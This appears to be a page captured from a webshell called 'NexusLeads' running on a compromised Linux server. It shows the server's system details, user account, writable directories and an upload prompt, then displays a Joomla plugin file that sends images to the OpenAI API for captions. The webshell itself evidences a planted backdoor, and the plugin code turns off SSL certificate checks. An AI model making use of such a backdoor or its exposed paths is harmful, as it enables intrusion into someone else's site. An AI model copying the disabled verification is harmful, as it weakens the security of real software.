NexusLeads Webshell
NexusLeads


Server : LiteSpeed
System : Linux server 3.10.0-1160.90.1.el7.x86_64 #1 SMP Thu May 4 15:21:22 UTC 2023 x86_64
User : alsaif ( 1057)
PHP Version : 7.4.33
Disable Function : show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/alsaif/public_html/plugins/system/nrframework/NRFramework/AI/TextGeneration/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/alsaif/public_html/plugins/system/nrframework/NRFramework/AI/TextGeneration/ImageToText.php
<?php

/**
 * @author          Tassos Marinos <info@tassos.gr>
 * @link            https://www.tassos.gr
 * @copyright       Copyright © 2024 Tassos All Rights Reserved
 * @license         GNU GPLv3 <http://www.gnu.org/licenses/gpl.html> or later
 */

namespace NRFramework\AI\TextGeneration;

defined('_JEXEC') or die;

use Joomla\CMS\Http\HttpFactory;

class ImageToText
{
    /**
     * Generate a caption for an image
     * 
     * @param   string  $imageUrl
     * 
     * @return  array
     */
    public function generate($imageUrl = '')
    {
        if (!$imageUrl)
        {
            return [
                'error' => true,
                'message' => 'Image URL is required',
            ];
        }

		$apiKey = \NRFramework\Helpers\Settings::getValue('openai_api_key');
		$apiEndpoint = 'https://api.openai.com/v1/chat/completions';

		// Disable SSL verification for local files
		$context = stream_context_create([
			'ssl' => [
				'verify_peer' => false,
				'verify_peer_name' => false,
			],
		]);
		
		$imageData = base64_encode(file_get_contents($imageUrl, false, $context));
		$url = "data:image/jpeg;base64,{$imageData}";

		$data = [
			'model' => 'gpt-4o-mini',
			'messages' => [
				[
					'role' => 'user',
					'content' => [
						[
							'type' => 'text',
							'text' => 'Describe this image with maximum 120 characters, spaces included.'
						],
						[
							'type' => 'image_url',
							'image_url' => [
								'url' => $url,
							],
						],
					],
				],
			],
			'max_tokens' => 50,
		];

		$headers = [
			'Content-Type' => 'application/json',
			'Authorization' => 'Bearer ' . $apiKey,
		];

		$error = false;
		$message = '';

		try {
			$http = HttpFactory::getHttp();
			$response = $http->post($apiEndpoint, json_encode($data), $headers);

			if ($response->code == 200)
			{
				$result = json_decode($response->body);
				$message = $result->choices[0]->message->content;
			}
			else
			{
				$error = true;

				$decodedResponse = json_decode($response->body, true);

				$message = isset($decodedResponse['error']['message']) ? $decodedResponse['error']['message'] : 'An error occurred while generating the caption.';
			}
		}
		catch (\Exception $e)
		{
			$error = true;
			$message = "Error: " . $e->getMessage();
		}

		return [
			'error' => $error,
			'message' => $message
		];
    }
}

NexusLeads